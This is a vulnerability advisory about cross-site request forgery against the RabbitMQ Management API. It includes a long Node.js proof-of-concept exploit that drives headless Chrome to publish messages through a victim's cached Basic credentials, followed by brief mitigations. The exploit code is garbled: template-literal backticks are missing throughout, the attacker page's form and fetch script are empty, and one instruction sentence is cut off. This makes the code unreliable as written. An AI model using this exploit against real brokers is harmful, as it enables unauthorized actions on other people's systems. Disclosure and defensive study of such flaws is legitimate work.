The RabbitMQ Management API is vulnerable to Cross-Site Request Forgery (CSRF). Because the API authenticates requests using HTTP Basic authentication without enforcing anti-CSRF tokens, and because state-mutating endpoints accept requests with a text/plain Content-Type, an attacker can bypass CORS preflight protections. This allows a malicious third-party website to execute unauthorized state-changing actions (such as publishing or consuming messages) on behalf of an authenticated user.
The Management API relies exclusively on HTTP Basic authentication and lacks any anti-CSRF token mechanisms. While CORS defenses are strictly configured to prevent unauthorized cross-origin reading and unauthorized preflight interactions, they do not block standard HTML submissions or fetch requests initiated with mode: "no-cors" and simple headers. Furthermore, state-mutating routes, such as POST /api/exchanges/%2F/amq.default/publish, fail to strictly enforce an application/json Content-Type. Testing on rabbitmq:4-management (version 4.4.0) demonstrates that the API successfully parses and processes payloads sent with Content-Type: text/plain or missing content-type headers entirely. An attacker can craft a cross-site HTML form where the default = delimiter used by the browser is embedded harmlessly within a valid JSON string structure, forcing the broker to execute the request under the victim's cached credentials.
Copy the code below inside a file .mjs, and run it following the
#!/usr/bin/env node
// a cross-site form publishes through the management API with cached Basic
// credentials.
//
// Chrome runs headless with a real profile. The setup navigation answers the Basic
// challenge through CDP Fetch.authRequired, which caches the credentials for the
// API origin; the attacker page on another origin then fires two vectors, each at
// its own queue:
//
// fetch(mode:"no-cors", credentials:"include") -> publishes (cached credentials apply)
// -> publishes, and needs no JS
//
// RABBIT_API=http://127.0.0.1:15672 node poc.mjs
//
// Exit 0 = the form vector published (finding reproduced); 2 = it did not.
import { spawn } from "node:child_process";
import { createServer } from "node:http";
import { mkdtempSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
const API = process.env.RABBIT_API ?? "http://127.0.0.1:15672"; const USER = process.env.RABBIT_USER ?? "csrf"; const PASS = process.env.RABBIT_PASS ?? "csrf-pass"; const CHROME = process.env.CHROME ?? "google-chrome"; const ATTACK_PORT = Number(process.env.POC_ATTACK_PORT ?? 8123); const DEBUG_PORT = Number(process.env.POC_DEBUG_PORT ?? 9336); const QUEUES = { fetch: "poc-csrf-fetch", form: "poc-csrf-form" };
const auth = "Basic " + Buffer.from(${USER}:${PASS}).toString("base64");
const publish = ${API}/api/exchanges/%2F/amq.default/publish;
async function api(method, path, body) { return fetch(API + path, { method, headers: { Authorization: auth, ...(body === undefined ? {} : { "Content-Type": "application/json" }), }, body: body === undefined ? undefined : JSON.stringify(body), }); }
for (const queue of Object.values(QUEUES)) {
const response = await api("PUT", /api/queues/%2F/${queue}, {
durable: true,
auto_delete: false,
arguments: {},
});
if (![201, 204].includes(response.status)) {
console.error(cannot create ${queue}: HTTP ${response.status} ${await response.text()});
process.exit(2);
}
}
// One vector per page, or the two would both publish into the same queue and the // counts would stop meaning anything. const page = (mode) => { const queue = mode === "form" ? QUEUES.form : QUEUES.fetch; const form = mode === "form" ? `
` : ""; const fetchScript = mode === "fetch" ? `` : ""; return `${form}${fetchScript}`; };const attacker = createServer((request, response) => { const mode = new URL(request.url, "http://x").searchParams.get("mode") === "form" ? "form" : "fetch"; response.writeHead(200, { "Content-Type": "text/html; charset=utf-8" }); response.end(page(mode)); }); await new Promise((resolve) => attacker.listen(ATTACK_PORT, "127.0.0.1", resolve));
const profile = mkdtempSync(join(tmpdir(), "poc-csrf-"));
const chrome = spawn(CHROME, [
"--headless=new",
--remote-debugging-port=${DEBUG_PORT},
--user-data-dir=${profile},
"--no-first-run",
"--no-default-browser-check",
"--disable-gpu",
"--no-sandbox",
"about:blank",
], { stdio: "ignore" });
async function versionInfo() {
for (let attempt = 0; attempt < 80; attempt += 1) {
try {
const response = await fetch(http://127.0.0.1:${DEBUG_PORT}/json/version);
if (response.ok) return response.json();
} catch {}
await new Promise((resolve) => setTimeout(resolve, 250));
}
throw new Error("chrome did not expose the debugging port");
}
const info = await versionInfo(); const socket = new WebSocket(info.webSocketDebuggerUrl); await new Promise((resolve, reject) => { socket.onopen = resolve; socket.onerror = reject; });
let nextId = 1; const pending = new Map(); const events = []; socket.onmessage = (event) => { const message = JSON.parse(event.data); if (message.id !== undefined) { const entry = pending.get(message.id); if (!entry) return; pending.delete(message.id); if (message.error) entry.reject(new Error(JSON.stringify(message.error))); else entry.resolve(message.result); return; } events.push(message); if (message.method === "Fetch.requestPaused") { send("Fetch.continueRequest", { requestId: message.params.requestId }, message.sessionId); } else if (message.method === "Fetch.authRequired") { const seen = events.filter((entry) => entry.method === "Fetch.authRequired").length; send("Fetch.continueWithAuth", { requestId: message.params.requestId, authChallengeResponse: seen === 1 ? { response: "ProvideCredentials", username: USER, password: PASS } : { response: "CancelAuth" }, }, message.sessionId); } };
function send(method, params = {}, sessionId) { const id = nextId++; socket.send(JSON.stringify({ id, method, params, ...(sessionId ? { sessionId } : {}) })); return new Promise((resolve, reject) => pending.set(id, { resolve, reject })); }
const { targetId } = await send("Target.createTarget", { url: "about:blank" });
const { sessionId } = await send("Target.attachToTarget", { targetId, flatten: true });
await send("Page.enable", {}, sessionId);
await send("Runtime.enable", {}, sessionId);
await send("Fetch.enable", {
patterns: [{ urlPattern: ${API}/*, requestStage: "Request" }],
handleAuthRequests: true,
}, sessionId);
// 1. Cache the credentials with a navigation the browser answers through CDP.
await send("Page.navigate", { url: ${API}/api/overview }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 2500));
const messages = async (queue) => {
const response = await api("GET", /api/queues/%2F/${queue});
const body = await response.json();
return body.messages ?? body.error ?? body;
};
// The management API serves queue lengths from periodic stats: a publish that just
// happened is not visible in messages for a few seconds. Poll instead of reading
// once, or a successful attack would be reported as a failure.
const waitForMessages = async (queue, timeoutMs = 20000) => {
const deadline = Date.now() + timeoutMs;
let value = 0;
do {
value = await messages(queue);
if (typeof value === "number" && value >= 1) return value;
await new Promise((resolve) => setTimeout(resolve, 500));
} while (Date.now() < deadline);
return value;
};
const evaluate = async (expression) => { const result = await send("Runtime.evaluate", { expression, returnByValue: true }, sessionId); return result.result.value; };
// 2. Fetch vector.
await send("Page.navigate", { url: http://127.0.0.1:${ATTACK_PORT}/?mode=fetch }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 3000));
const fetchProbe = await evaluate("JSON.stringify(window.__probe || {})");
const fetchMessages = await waitForMessages(QUEUES.fetch);
// 3. Form vector: a top-level POST that replaces the page with the API response.
await send("Page.navigate", { url: http://127.0.0.1:${ATTACK_PORT}/?mode=form }, sessionId);
await new Promise((resolve) => setTimeout(resolve, 3500));
const formResponse = await evaluate("document.body ? document.body.innerText.slice(0, 120) : ''");
const formMessages = await waitForMessages(QUEUES.form);
const challenges = events.filter((entry) => entry.method === "Fetch.authRequired").length; console.log(JSON.stringify({ chrome: info.Browser, authChallenges: challenges, fetch: { probe: fetchProbe, messages: fetchMessages }, form: { response: formResponse, messages: formMessages }, }, null, 2));
socket.close();
chrome.kill("SIGKILL");
await new Promise((resolve) => attacker.close(resolve));
for (const queue of Object.values(QUEUES)) {
await api("DELETE", /api/queues/%2F/${queue});
}
if (formMessages >= 1) { console.log("\nREPRODUCED: the cross-site form published a message (R-05)."); process.exit(0); } console.log("\nNOT REPRODUCED: the form did not publish."); process.exit(2);
This vulnerability allows for a blind Cross-Site Request Forgery (CSRF) attack that yields real-world, unauthorized manipulation of the broker's state. By exploiting the lack of anti-CSRF defenses and the interpretation conflict of the text/plain Content-Type, a malicious third-party website can hijack an authenticated user's session to execute certain actions, including administrative actions if the affected user has the sufficient privileges.
Using HTTPS exclusively for management UI and HTTP API access is arguably the baseline scenario these days.
Basic HTTP API can be disabled entirely:
management.disable_basic_auth = true
in favor of OAuth 2.